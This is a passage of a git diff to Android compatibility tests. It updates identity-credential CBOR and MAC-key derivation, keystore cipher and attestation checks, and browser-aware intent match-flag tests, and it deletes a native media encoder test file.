             keyNewCert.getPublicKey(),
-            readerEphemeralKeyPair.getPrivate());
+            readerEphemeralKeyPair.getPrivate(),
+            sessionTranscript);
+        deviceAuthenticationBytes =
+                Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
         expectedMac = Util.coseMac0(eMacKey,
-                new byte[0],                // payload
-                deviceAuthenticationCbor);  // additionalData
+                new byte[0],                 // payload
+                deviceAuthenticationBytes);  // detached content
         assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
 
         // ... and we're done. Clean up after ourselves.
diff --git a/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java b/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
index 737f7719..ce5e311 100644
--- a/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
@@ -440,8 +440,8 @@
         byte[] sessionTranscriptBytes = Util.buildSessionTranscript(ephemeralKeyPair);
 
         // Finally, create the structure that the reader signs, and sign it.
-        byte[] dataToBeSignedByReader = Util.buildReaderAuthenticationCbor(sessionTranscriptBytes,
-                requestMessage);
+        byte[] dataToBeSignedByReader =
+                Util.buildReaderAuthenticationBytesCbor(sessionTranscriptBytes, requestMessage);
         byte[] readerSignature = Util.coseSign1Sign(readerKeyToSignWith.getPrivate(),
                 null, // payload
                 dataToBeSignedByReader, // detached content
diff --git a/tests/tests/identity/src/android/security/identity/cts/Util.java b/tests/tests/identity/src/android/security/identity/cts/Util.java
index 2586c65..df9a300 100644
--- a/tests/tests/identity/src/android/security/identity/cts/Util.java
+++ b/tests/tests/identity/src/android/security/identity/cts/Util.java
@@ -922,11 +922,11 @@
     }
 
     static byte[] buildDeviceAuthenticationCbor(String docType,
-            byte[] sessionTranscriptBytes,
+            byte[] encodedSessionTranscript,
             byte[] deviceNameSpacesBytes) {
         ByteArrayOutputStream daBaos = new ByteArrayOutputStream();
         try {
-            ByteArrayInputStream bais = new ByteArrayInputStream(sessionTranscriptBytes);
+            ByteArrayInputStream bais = new ByteArrayInputStream(encodedSessionTranscript);
             List<DataItem> dataItems = null;
             dataItems = new CborDecoder(bais).decode();
             DataItem sessionTranscript = dataItems.get(0);
@@ -946,13 +946,13 @@
         return daBaos.toByteArray();
     }
 
-    static byte[] buildReaderAuthenticationCbor(
-            byte[] sessionTranscriptBytes,
+    static byte[] buildReaderAuthenticationBytesCbor(
+            byte[] encodedSessionTranscript,
             byte[] requestMessageBytes) {
 
         ByteArrayOutputStream daBaos = new ByteArrayOutputStream();
         try {
-            ByteArrayInputStream bais = new ByteArrayInputStream(sessionTranscriptBytes);
+            ByteArrayInputStream bais = new ByteArrayInputStream(encodedSessionTranscript);
             List<DataItem> dataItems = null;
             dataItems = new CborDecoder(bais).decode();
             DataItem sessionTranscript = dataItems.get(0);
@@ -968,22 +968,49 @@
         } catch (CborException e) {
             throw new RuntimeException("Error encoding ReaderAuthentication", e);
         }
-        return daBaos.toByteArray();
+        byte[] readerAuthentication = daBaos.toByteArray();
+        return Util.prependSemanticTagForEncodedCbor(readerAuthentication);
+    }
+
+    static byte[] prependSemanticTagForEncodedCbor(byte[] encodedCbor) {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        try {
+            ByteString taggedBytestring = new ByteString(encodedCbor);
+            taggedBytestring.setTag(CBOR_SEMANTIC_TAG_ENCODED_CBOR);
+            new CborEncoder(baos).encode(taggedBytestring);
+        } catch (CborException e) {
+            throw new RuntimeException("Error encoding with semantic tag for CBOR encoding", e);
+        }
+        return baos.toByteArray();
+    }
+
+    static byte[] concatArrays(byte[] a, byte[] b) {
+        byte[] ret = new byte[a.length + b.length];
+        System.arraycopy(a, 0, ret, 0, a.length);
+        System.arraycopy(b, 0, ret, a.length, b.length);
+        return ret;
     }
 
     static SecretKey calcEMacKeyForReader(PublicKey authenticationPublicKey,
-            PrivateKey ephemeralReaderPrivateKey) {
+            PrivateKey ephemeralReaderPrivateKey,
+            byte[] encodedSessionTranscript) {
         try {
             KeyAgreement ka = KeyAgreement.getInstance("ECDH");
             ka.init(ephemeralReaderPrivateKey);
             ka.doPhase(authenticationPublicKey, true);
             byte[] sharedSecret = ka.generateSecret();
 
+            byte[] sessionTranscriptBytes =
+                    Util.prependSemanticTagForEncodedCbor(encodedSessionTranscript);
+            byte[] sharedSecretWithSessionTranscriptBytes =
+                    Util.concatArrays(sharedSecret, sessionTranscriptBytes);
+
             byte[] salt = new byte[1];
             byte[] info = new byte[0];
 
             salt[0] = 0x00;
-            byte[] derivedKey = Util.computeHkdf("HmacSha256", sharedSecret, salt, info, 32);
+            byte[] derivedKey = Util.computeHkdf("HmacSha256",
+                    sharedSecretWithSessionTranscriptBytes, salt, info, 32);
             SecretKey secretKey = new SecretKeySpec(derivedKey, "");
             return secretKey;
         } catch (InvalidKeyException
diff --git a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
index 0946147..e3fbad5 100644
--- a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
@@ -283,6 +283,12 @@
             mLockCredential.gotoKeyguard();
             mLockCredential.enterAndConfirmLockCredential();
             launchHomeActivity();
+            KeyguardManager keyguardManager = (KeyguardManager)getContext().getSystemService(
+                    Context.KEYGUARD_SERVICE);
+            for (int i = 0; i < 25 && keyguardManager.isDeviceLocked(); i++) {
+                SystemClock.sleep(200);
+            }
+            assertFalse(keyguardManager.isDeviceLocked());
         }
 
         @Override
@@ -424,6 +430,59 @@
         }
     }
 
+    /*
+     * This test performs a round trip en/decryption. It does so while the current thread
+     * is in interrupted state which cannot be signaled to the user of the Java Crypto
+     * API.
+     */
+    public void testEncryptsAndDecryptsInterrupted()
+            throws Exception {
+        Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
+        assertNotNull(provider);
+        final byte[] originalPlaintext = EmptyArray.BYTE;
+        for (String algorithm : EXPECTED_ALGORITHMS) {
+            for (ImportedKey key : importKatKeys(
+                    algorithm,
+                    KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT,
+                    false)) {
+                try {
+                    Key encryptionKey = key.getKeystoreBackedEncryptionKey();
+                    byte[] plaintext = truncatePlaintextIfNecessary(
+                            algorithm, encryptionKey, originalPlaintext);
+                    if (plaintext == null) {
+                        // Key is too short to encrypt anything using this transformation
+                        continue;
+                    }
+                    Cipher cipher = Cipher.getInstance(algorithm, provider);
+                    Thread.currentThread().interrupt();
+                    cipher.init(Cipher.ENCRYPT_MODE, encryptionKey);
+                    AlgorithmParameters params = cipher.getParameters();
+                    byte[] ciphertext = cipher.doFinal(plaintext);
+                    byte[] expectedPlaintext = plaintext;
+                    if ("RSA/ECB/NoPadding".equalsIgnoreCase(algorithm)) {
+                        // RSA decryption without padding left-pads resulting plaintext with NUL
+                        // bytes to the length of RSA modulus.
+                        int modulusLengthBytes = (TestUtils.getKeySizeBits(encryptionKey) + 7) / 8;
+                        expectedPlaintext = TestUtils.leftPadWithZeroBytes(
+                                expectedPlaintext, modulusLengthBytes);
+                    }
+
+                    cipher = Cipher.getInstance(algorithm, provider);
+                    Key decryptionKey = key.getKeystoreBackedDecryptionKey();
+                    cipher.init(Cipher.DECRYPT_MODE, decryptionKey, params);
+                    byte[] actualPlaintext = cipher.doFinal(ciphertext);
+                    assertTrue(Thread.currentThread().interrupted());
+                    MoreAsserts.assertEquals(expectedPlaintext, actualPlaintext);
+                } catch (Throwable e) {
+                    throw new RuntimeException(
+                            "Failed for " + algorithm + " with key " + key.getAlias(),
+                            e);
+                }
+            }
+        }
+    }
+
+
     private boolean isDecryptValid(byte[] expectedPlaintext, byte[] ciphertext, Cipher cipher,
             AlgorithmParameters params, ImportedKey key) {
         try {
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 46592ca..55ba086 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -1105,17 +1105,16 @@
                 assertTrue(
                         signedCertIssuer.toASN1Object().equals(signingCertSubject.toASN1Object()));
 
+                X500Name signedCertSubject =
+                        new JcaX509CertificateHolder(x509PrevCert).getSubject();
                 if (i == 1) {
                     // First cert should have subject "CN=Android Keystore Key".
-                    X500Name signedCertSubject =
-                            new JcaX509CertificateHolder(x509PrevCert).getSubject();
                     assertEquals(signedCertSubject, new X500Name("CN=Android Keystore Key"));
                 } else {
                     // Only strongbox implementations should have strongbox in the subject line
-                    assertEquals(expectStrongBox, x509CurrCert.getSubjectDN()
-                                                              .getName()
-                                                              .toLowerCase()
-                                                              .contains("strongbox"));
+                    assertEquals(expectStrongBox, signedCertSubject.toString()
+                                                                   .toLowerCase()
+                                                                   .contains("strongbox"));
                 }
             } catch (InvalidKeyException | CertificateException | NoSuchAlgorithmException
                     | NoSuchProviderException | SignatureException e) {
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
index 40970f5..c6b559a 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
@@ -916,7 +916,7 @@
         MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getSignaturePaddings()));
         MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getEncryptionPaddings()));
         assertFalse(keyInfo.isUserAuthenticationRequired());
-        assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
+        assertEquals(0, keyInfo.getUserAuthenticationValidityDurationSeconds());
     }
 
     // Strongbox has more restrictions on key properties than general keystore.
@@ -987,7 +987,7 @@
         MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getSignaturePaddings()));
         MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getEncryptionPaddings()));
         assertFalse(keyInfo.isUserAuthenticationRequired());
-        assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
+        assertEquals(0, keyInfo.getUserAuthenticationValidityDurationSeconds());
     }
 
     public void testGenerate_RSA_ModernSpec_AsCustomAsPossible() throws Exception {
@@ -1069,7 +1069,7 @@
                 KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1);
 
         assertFalse(keyInfo.isUserAuthenticationRequired());
-        assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
+        assertEquals(0, keyInfo.getUserAuthenticationValidityDurationSeconds());
     }
 
     // Strongbox has more restrictions on key properties than general keystore.
@@ -1159,7 +1159,7 @@
                 KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1);
 
         assertFalse(keyInfo.isUserAuthenticationRequired());
-        assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
+        assertEquals(0, keyInfo.getUserAuthenticationValidityDurationSeconds());
     }
 
     public void testGenerate_EC_ModernSpec_UsableForTLSPeerAuth() throws Exception {
diff --git a/tests/tests/match_flags/Android.bp b/tests/tests/match_flags/Android.bp
index 900f3e9..b29d3e0 100644
--- a/tests/tests/match_flags/Android.bp
+++ b/tests/tests/match_flags/Android.bp
@@ -28,5 +28,5 @@
     ],
 
     srcs: ["src/**/*.java"],
-    sdk_version: "test_current",
+    sdk_version: "system_current",
 }
diff --git a/tests/tests/match_flags/AndroidManifest.xml b/tests/tests/match_flags/AndroidManifest.xml
index 1b6cb42..2878bd5 100644
--- a/tests/tests/match_flags/AndroidManifest.xml
+++ b/tests/tests/match_flags/AndroidManifest.xml
@@ -18,6 +18,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.matchflags.cts">
 
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+
     <application>
       <uses-library android:name="android.test.runner" />
     </application>
diff --git a/tests/tests/match_flags/src/android/matchflags/cts/MatchFlagTests.java b/tests/tests/match_flags/src/android/matchflags/cts/MatchFlagTests.java
index ab6712a..74024df 100644
--- a/tests/tests/match_flags/src/android/matchflags/cts/MatchFlagTests.java
+++ b/tests/tests/match_flags/src/android/matchflags/cts/MatchFlagTests.java
@@ -16,43 +16,21 @@
 
 package android.matchflags.cts;
 
-import static org.hamcrest.core.Is.is;
-import static org.junit.Assert.assertThat;
 import static org.junit.Assert.fail;
 
 import android.content.ActivityNotFoundException;
-import android.content.ComponentName;
-import android.content.Context;
 import android.content.Intent;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
 import android.net.Uri;
-import android.os.Bundle;
-import android.os.ConditionVariable;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.RemoteCallback;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.platform.app.InstrumentationRegistry;
 
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.hamcrest.core.IsNull;
-import org.junit.AfterClass;
-import org.junit.Assert;
-import org.junit.Before;
 import org.junit.BeforeClass;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 
-import java.util.Objects;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.TimeoutException;
-import java.util.concurrent.atomic.AtomicReference;
-
 @RunWith(AndroidJUnit4.class)
 public class MatchFlagTests {
 
@@ -74,7 +52,16 @@
                 .addCategory(Intent.CATEGORY_BROWSABLE)
                 .setData(Uri.parse(ONLY_BROWSER_URI));
 
-        startActivity(onlyBrowserIntent);
+        if (isBrowserPresent()) {
+            startActivity(onlyBrowserIntent);
+        } else {
+            try {
+                startActivity(onlyBrowserIntent);
+                fail("Device without browser should not launch browser only intent");
+            } catch (ActivityNotFoundException e) {
+                // hooray
+            }
+        }
 
         Intent noBrowserWithBrowserOnlyIntent = new Intent(onlyBrowserIntent)
                 .addFlags(Intent.FLAG_ACTIVITY_REQUIRE_NON_BROWSER);
@@ -123,16 +110,30 @@
                 .addFlags(Intent.FLAG_ACTIVITY_REQUIRE_NON_BROWSER)
                 .addFlags(Intent.FLAG_ACTIVITY_REQUIRE_DEFAULT);
 
-        // with non-browser, we'd expect the resolver
-        // with require default, we'll get activity not found
-        try {
+        if (isBrowserPresent()) {
+            // with non-browser, we'd expect the resolver
+            // with require default, we'll get activity not found
+            try {
+                startActivity(uniqueUriIntentNoBrowserRequireDefault);
+                fail("Should fail to launch when started with non-browser and require default");
+            } catch (ActivityNotFoundException e) {
+                // hooray!
+            }
+        } else {
+            // with non-browser, but no browser present, we'd get a single result
+            // with require default, we'll resolve to that single result
             startActivity(uniqueUriIntentNoBrowserRequireDefault);
-            fail("Should fail to launch when started with non-browser and require default");
-        } catch (ActivityNotFoundException e) {
-            // hooray!
         }
     }
 
+    private static boolean isBrowserPresent() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager()
+                .queryIntentActivities(new Intent(Intent.ACTION_VIEW).addCategory(
+                        Intent.CATEGORY_BROWSABLE).setData(Uri.parse(ONLY_BROWSER_URI)),
+                        0 /* flags */)
+                .stream().anyMatch(resolveInfo -> resolveInfo.handleAllWebDataURI);
+    }
+
     private static void startActivity(Intent onlyBrowserIntent) {
         InstrumentationRegistry.getInstrumentation().getContext().startActivity(
                 onlyBrowserIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
diff --git a/tests/tests/media/libmediandkjni/Android.bp b/tests/tests/media/libmediandkjni/Android.bp
index e501daa..becae52 100644
--- a/tests/tests/media/libmediandkjni/Android.bp
+++ b/tests/tests/media/libmediandkjni/Android.bp
@@ -46,7 +46,6 @@
         "native-media-jni.cpp",
         "native_media_utils.cpp",
         "native_media_decoder_source.cpp",
-        "native_media_encoder_jni.cpp",
     ],
     include_dirs: ["system/core/include"],
     shared_libs: [
diff --git a/tests/tests/media/libmediandkjni/native_media_encoder_jni.cpp b/tests/tests/media/libmediandkjni/native_media_encoder_jni.cpp
deleted file mode 100644
index 2333ddd..0000000
--- a/tests/tests/media/libmediandkjni/native_media_encoder_jni.cpp
+++ /dev/null
@@ -1,412 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-//#define LOG_NDEBUG 0
-#define LOG_TAG "NativeMediaEnc"
-
-#include <stddef.h>
-#include <inttypes.h>
-#include <log/log.h>
-
-#include <assert.h>
-#include <jni.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <string.h>
-#include <unistd.h>
-#include <semaphore.h>
-#include <list>
-#include <memory>
-#include <string>
-
-#include <android/native_window_jni.h>
-
-#include "media/NdkMediaFormat.h"
-#include "media/NdkMediaExtractor.h"
-#include "media/NdkMediaCodec.h"
-#include "media/NdkMediaCrypto.h"
-#include "media/NdkMediaFormat.h"
-#include "media/NdkMediaMuxer.h"
-
-#include "native_media_source.h"
-using namespace Utils;
-
-class NativeEncoder : Thread {
-public:
-
-    NativeEncoder(const std::string&);
-    NativeEncoder(const NativeEncoder&) = delete;
-    ~NativeEncoder();
-    static std::shared_ptr<ANativeWindow> getPersistentSurface();
-    std::shared_ptr<ANativeWindow> getSurface() const;
-
-    Status prepare(std::unique_ptr<RunConfig> config, std::shared_ptr<ANativeWindow> anw = nullptr);
-    Status start();
-    Status waitForCompletion();
-    Status validate();
-
-    Status reset();
-
-protected:
-    void run() override;
-
-private:
-    std::shared_ptr<AMediaCodec> mEnc;
-    std::shared_ptr<ANativeWindow> mLocalSurface; // the one created by createInputSurface()
-    std::string mOutFileName;
-    bool mStarted;
-
-    Stats mStats;
-    std::unique_ptr<RunConfig> mRunConfig;
-
-};
-
-NativeEncoder::NativeEncoder(const std::string& outFileName)
-    : mEnc(nullptr),
-      mLocalSurface(nullptr),
-      mOutFileName(outFileName),
-      mStarted(false) {
-    mRunConfig = nullptr;
-}
-
-NativeEncoder::~NativeEncoder() {
-    mEnc = nullptr;
-    mLocalSurface = nullptr;
-    mRunConfig = nullptr;
-}
-
-//static
-std::shared_ptr<ANativeWindow> NativeEncoder::getPersistentSurface() {
-    ANativeWindow *ps;
-    media_status_t ret = AMediaCodec_createPersistentInputSurface(&ps);
-    if (ret != AMEDIA_OK) {
-        ALOGE("Failed to create persistent surface !");
-        return nullptr;
-    }
-    ALOGI("Encoder: created persistent surface %p", ps);
-    return std::shared_ptr<ANativeWindow>(ps, deleter_ANativeWindow);
-}
-
-std::shared_ptr<ANativeWindow> NativeEncoder::getSurface() const {
-    return mLocalSurface;
-}
-
-Status NativeEncoder::prepare(
-        std::unique_ptr<RunConfig> runConfig, std::shared_ptr<ANativeWindow> surface) {
-    assert(runConfig != nullptr);
-    assert(runConfig->format() != nullptr);
-
-    ALOGI("NativeEncoder::prepare");
-    mRunConfig = std::move(runConfig);
-
-    AMediaFormat *config = mRunConfig->format();
-    ALOGI("Encoder format: %s", AMediaFormat_toString(config));
-
-    const char *mime;
-    AMediaFormat_getString(config, AMEDIAFORMAT_KEY_MIME, &mime);
-
-    AMediaCodec *enc = AMediaCodec_createEncoderByType(mime);
-    mEnc = std::shared_ptr<AMediaCodec>(enc, deleter_AMediaCodec);
-
-    media_status_t status = AMediaCodec_configure(
-            mEnc.get(), config, NULL, NULL /* crypto */, AMEDIACODEC_CONFIGURE_FLAG_ENCODE);
-    if (status != AMEDIA_OK) {
-        ALOGE("failed to configure encoder");
-        return FAIL;
-    }
-
-    if (surface == nullptr) {
-        ANativeWindow *anw;
-        status = AMediaCodec_createInputSurface(mEnc.get(), &anw);
-        mLocalSurface = std::shared_ptr<ANativeWindow>(anw, deleter_ANativeWindow);
-        ALOGI("created input surface = %p", mLocalSurface.get());
-    } else {
-        ALOGI("setting persistent input surface %p", surface.get());
-        status = AMediaCodec_setInputSurface(mEnc.get(), surface.get());
-    }
-
-    return status == AMEDIA_OK ? OK : FAIL;
-}
-
-Status NativeEncoder::start() {
-    ALOGI("starting encoder..");
-
-    media_status_t status = AMediaCodec_start(mEnc.get());
-    if (status != AMEDIA_OK) {
-        ALOGE("failed to start decoder");
-        return FAIL;
-    }
-    if (startThread() != OK) {
-        return FAIL;
-    }
-    mStarted = true;
-    return OK;
-}
-
-Status NativeEncoder::waitForCompletion() {
-    joinThread();
-    ALOGI("encoder done..");
-    return OK;
-}
-
-Status NativeEncoder::validate() {
-    const char *s = AMediaFormat_toString(mRunConfig->format());
-    ALOGI("RESULT: Encoder Output Format: %s", s);
-
-    {
-        int32_t encodedFrames = mStats.frameCount();
-        int32_t inputFrames = mRunConfig->frameCount();
-        ALOGI("RESULT: input frames = %d, Encoded frames = %d",
-                inputFrames, encodedFrames);
-        if (encodedFrames != inputFrames) {
-            ALOGE("RESULT: ERROR: output frame count does not match input");
-            return FAIL;
-        }
-    }
-
-    if (Validator::checkOverallBitrate(mStats, *mRunConfig) != OK) {
-        ALOGE("Overall bitrate check failed!");
-        return FAIL;
-    }
-    if (Validator::checkIntraPeriod(mStats, *mRunConfig) != OK) {
-        ALOGE("I-period check failed!");
-        return FAIL;
-    }
-    if (Validator::checkDynamicKeyFrames(mStats, *mRunConfig) != OK) {
-        ALOGE("Dynamic-I-frame-request check failed!");
-        return FAIL;
-    }
-    if (Validator::checkDynamicBitrate(mStats, *mRunConfig) != OK) {
-        ALOGE("Dynamic-bitrate-update check failed!");
-        return FAIL;
-    }
-
-    return OK;
-}
-
-Status NativeEncoder::reset() {
-
-    mEnc = nullptr;
-    return OK;
-}
-
-void NativeEncoder::run() {
-
-    assert(mRunConfig != nullptr);
-
-    int32_t framesToEncode = mRunConfig->frameCount();
-    auto dynamicParams = mRunConfig->dynamicParams();
-    auto paramItr = dynamicParams.begin();
-    int32_t nFrameCount = 0;
-
-    while (nFrameCount < framesToEncode) {
-        // apply frame-specific settings
-        for (;paramItr != dynamicParams.end()
-                && (*paramItr)->frameNum() <= nFrameCount; ++paramItr) {
-            DParamRef& p = *paramItr;
-            if (p->frameNum() == nFrameCount) {
-                assert(p->param() != nullptr);
-                const char *s = AMediaFormat_toString(p->param());
-                ALOGI("Encoder DynamicParam @frame[%d] - applying setting : %s",
-                        nFrameCount, s);
-                AMediaCodec_setParameters(mEnc.get(), p->param());
-            }
-        }
-
-        AMediaCodecBufferInfo info;
-        int status = AMediaCodec_dequeueOutputBuffer(mEnc.get(), &info, 5000000);
-        if (status >= 0) {
-            ALOGV("got encoded buffer[%d] of size=%d @%lld us flags=%x",
-                    nFrameCount, info.size, (long long)info.presentationTimeUs, info.flags);
-            mStats.add(info);
-            AMediaCodec_releaseOutputBuffer(mEnc.get(), status, false);
-            ++nFrameCount;
-
-            if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
-                ALOGV("saw EOS");
-                break;
-            }
-
-        } else if (status == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
-        } else if (status == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
-            std::shared_ptr<AMediaFormat> format = std::shared_ptr<AMediaFormat>(
-                    AMediaCodec_getOutputFormat(mEnc.get()), deleter_AMediaFormat);
-            mStats.setOutputFormat(format);
-            ALOGV("format changed: %s", AMediaFormat_toString(format.get()));
-        } else if (status == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
-            ALOGE("no frame in 5 seconds, assume stuck");
-            break;
-        } else {
-            ALOGV("Invalid status : %d", status);
-        }
-    }
-
-    ALOGV("Encoder exited !");
-    AMediaCodec_stop(mEnc.get());
-}
-
-static std::shared_ptr<AMediaFormat> createMediaFormat(
-        std::string mime,
-        int32_t w, int32_t h, int32_t colorFormat,
-        int32_t bitrate, float framerate,
-        int32_t i_interval) {
-
-    std::shared_ptr<AMediaFormat> config(AMediaFormat_new(), deleter_AMediaFormat);
-
-    AMediaFormat_setString(config.get(), AMEDIAFORMAT_KEY_MIME, mime.c_str());
-    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_WIDTH, w);
-    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_HEIGHT, h);
-    AMediaFormat_setFloat(config.get(), AMEDIAFORMAT_KEY_FRAME_RATE, framerate);
-    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_BIT_RATE, bitrate);
-    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_I_FRAME_INTERVAL, i_interval);
-    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_COLOR_FORMAT, colorFormat);
-
-    return config;
-}
-
-static int32_t getOptimalBitrate(int w, int h) {
-    return (w * h <= 640 * 480) ? 1000000 :
-            (w * h <= 1280 * 720) ? 2000000 :
-            (w * h <= 1920 * 1080) ? 6000000 :
-            10000000;
-}
-
-//-----------------------------------------------------------------------------
-// Tests
-//-----------------------------------------------------------------------------
-static bool runNativeEncoderTest(
-        JNIEnv *env, int fd, jlong offset, jlong fileSize,
-        jstring jmime, int w, int h,
-        const std::vector<DParamRef>& dynParams,
-        int32_t numFrames,
-        bool usePersistentSurface) {
-
-    // If dynamic I-frame is requested, set large-enough i-period
-    // so that auto I-frames do not interfere with the ones explicitly requested,
-    // and hence simplify validation.
-    bool hasDynamicSyncRequest = false;
-
-    // If dynamic bitrate updates are requested, set bitrate mode to CBR to
-    // ensure bitrate within 'window of two updates' remains constant
-    bool hasDynamicBitrateChanges = false;
-
-    for (const DParamRef &d : dynParams) {
-        int32_t temp;
-        if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, &temp)) {
-            hasDynamicSyncRequest = true;
-        } else if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, &temp)) {
-            hasDynamicBitrateChanges = true;
-        }
-    }
-
-    const char* cmime = env->GetStringUTFChars(jmime, nullptr);
-    std::string mime = cmime;
-    env->ReleaseStringUTFChars(jmime, cmime);
-
-    float fps = 30.0f;
-    std::shared_ptr<AMediaFormat> config = createMediaFormat(
-            mime, w, h, kColorFormatSurface,
-            getOptimalBitrate(w, h),
-            fps,
-            hasDynamicSyncRequest ? numFrames / fps : 1 /*sec*/);
-
-    if (hasDynamicBitrateChanges) {
-        AMediaFormat_setInt32(config.get(), TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE, kBitrateModeConstant);
-    }
-
-    std::shared_ptr<Source> src = createDecoderSource(
-            w, h, kColorFormatSurface, fps,
-            true /*looping*/,
-            hasDynamicSyncRequest | hasDynamicBitrateChanges, /*regulate feeding rate*/
-            fd, offset, fileSize);
-
-    std::unique_ptr<RunConfig> runConfig = std::make_unique<RunConfig>(numFrames, config);
-    for (const DParamRef &d : dynParams) {
-        runConfig->add(d);
-    }
-
-    std::string debugOutputFileName = "";
-    std::shared_ptr<NativeEncoder> enc(new NativeEncoder(debugOutputFileName));
-
-    if (usePersistentSurface) {
-        std::shared_ptr<ANativeWindow> persistentSurface = enc->getPersistentSurface();
-        enc->prepare(std::move(runConfig), persistentSurface);
-        src->prepare(nullptr /*bufferListener*/, persistentSurface);
-    } else {
-        enc->prepare(std::move(runConfig));
-        src->prepare(nullptr /*bufferListener*/, enc->getSurface());
-    }
-
-    src->start();
-    enc->start();
-
-    enc->waitForCompletion();
-
-    Status status = enc->validate();
-
-    src->stop();
-    enc->reset();
-
-    return status == OK;
-}
-
-extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodeSurfaceNative(
-        JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
-        jstring jmime, int w, int h) {
-
-    std::vector<DParamRef> dynParams;
-    return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
-            dynParams, 300, false /*usePersistentSurface*/);
-
-}
-
-extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodePersistentSurfaceNative(
-        JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
-        jstring jmime, int w, int h) {
-
-    std::vector<DParamRef> dynParams;
-    return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
-            dynParams, 300, true /*usePersistentSurface*/);
-}
-
-extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodeSurfaceDynamicSyncFrameNative(
-        JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
-        jstring jmime, int w, int h) {
-
-    std::vector<DParamRef> dynParams;
-    for (int32_t frameNum : {40, 75, 160, 180, 250}) {
-        dynParams.push_back(DynamicParam::newRequestSync(frameNum));
-    }
-
-    return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
-            dynParams, 300, false /*usePersistentSurface*/);
-}
-
-extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodeSurfaceDynamicBitrateNative(
-        JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
-        jstring jmime, int w, int h) {
-
-    int32_t bitrate = getOptimalBitrate(w, h);
-    std::vector<DParamRef> dynParams;
-
-    dynParams.push_back(DynamicParam::newBitRate(100,  bitrate/2));
-    dynParams.push_back(DynamicParam::newBitRate(200,  3*bitrate/4));
-    dynParams.push_back(DynamicParam::newBitRate(300,  bitrate));
-
-    return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
-            dynParams, 400, false /*usePersistentSurface*/);
-}
-
